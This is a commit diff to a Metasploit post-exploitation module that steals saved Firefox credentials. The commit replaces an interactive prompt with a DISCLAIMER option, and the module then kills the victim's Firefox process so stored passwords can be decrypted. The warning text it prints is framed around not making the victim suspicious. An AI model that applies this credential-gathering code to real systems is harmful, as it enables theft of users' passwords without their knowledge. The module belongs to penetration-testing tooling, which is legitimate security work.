Skip to content

Commit 1953473

Browse files
committed
added advanced option
1 parent bc7066a commit 1953473

File tree

1 file changed

+22
-29
lines changed

1 file changed

+22
-29
lines changed

modules/post/multi/gather/firefox_creds.rb

Lines changed: 22 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,6 @@
1616

1717
class Metasploit3 < Msf::Post
1818

19-
include Rex::Ui::Interactive
2019
include Msf::Post::File
2120
include Msf::Post::Common
2221
include Msf::Auxiliary::Report
@@ -53,6 +52,12 @@ def initialize(info={})
5352
OptBool.new('DECRYPT', [false, 'Decrypts passwords without third party tools', false])
5453
]
5554
)
55+
56+
register_advanced_options(
57+
[
58+
OptBool.new('DISCLAIMER', [false, 'Acknowledge the warning', false])
59+
]
60+
)
5661
#TODO
5762
# - Collect cookies.
5863
end
@@ -76,6 +81,13 @@ def run
7681
end
7782

7883
if datastore['DECRYPT']
84+
if not datastore['DISCLAIMER']
85+
print_warning("Decrypting the keys causes the possible remote Firefox process to be,")
86+
print_warning("killed. If the user is paying attention, this could make him/her suspicious.")
87+
print_warning("In order to proceed, set the advanced DISCLAIMER option to true.")
88+
return
89+
end
90+
7991
omnija = nil
8092
org_file = 'omni.ja'
8193
new_file = Rex::Text::rand_text_alpha(5 + rand(3)) + ".ja"
@@ -474,34 +486,22 @@ def trigger_decrypt(org_file, new_file)
474486
if session.type == "meterpreter"
475487
session.sys.process.each_process do |p|
476488
if p['name'] =~ /firefox\.exe/
477-
print_status("Found running Firefox process")
478-
continue = warn_user()
479-
if continue
480-
if not session.sys.process.kill(p['pid'])
481-
print_error("Could not kill Firefox process")
482-
return false
483-
end
484-
else
485-
file_rm(new_file)
486-
return false
489+
print_status("Found running Firefox process, attempting to kill.")
490+
if not session.sys.process.kill(p['pid'])
491+
print_error("Could not kill Firefox process")
492+
return false
487493
end
488494
end
489495
end
490496

491497
elsif session.type != "meterpreter"
492498
p = cmd_exec("ps", "cax | grep firefox")
493499
if p =~ /firefox/
494-
print_status("Found running Firefox process")
495-
continue = warn_user()
496-
if continue
497-
term = cmd_exec("killall", "firefox && echo true")
498-
if not term =~ /true/
499-
print_error("Could not kill Firefox process")
500-
return false
501-
end
502-
else
503-
file_rm(new_file)
504-
return false
500+
print_status("Found running Firefox process, attempting to kill.")
501+
term = cmd_exec("killall", "firefox && echo true")
502+
if not term =~ /true/
503+
print_error("Could not kill Firefox process")
504+
return false
505505
end
506506
end
507507
end
@@ -535,13 +535,6 @@ def trigger_decrypt(org_file, new_file)
535535

536536
end
537537

538-
def warn_user()
539-
print_warning("In order to proceed, the running Firefox process must be killed.")
540-
print_warning("Keep in mind that this leaves visual evidence on the victim machine and")
541-
print_warning("if the user is paying attention, this could make him/her suspicious.")
542-
return prompt_yesno("Do you want to continue?")
543-
end
544-
545538
def download_loot(paths)
546539
loot = ""
547540
paths.each do |path|

0 commit comments

Comments
 (0)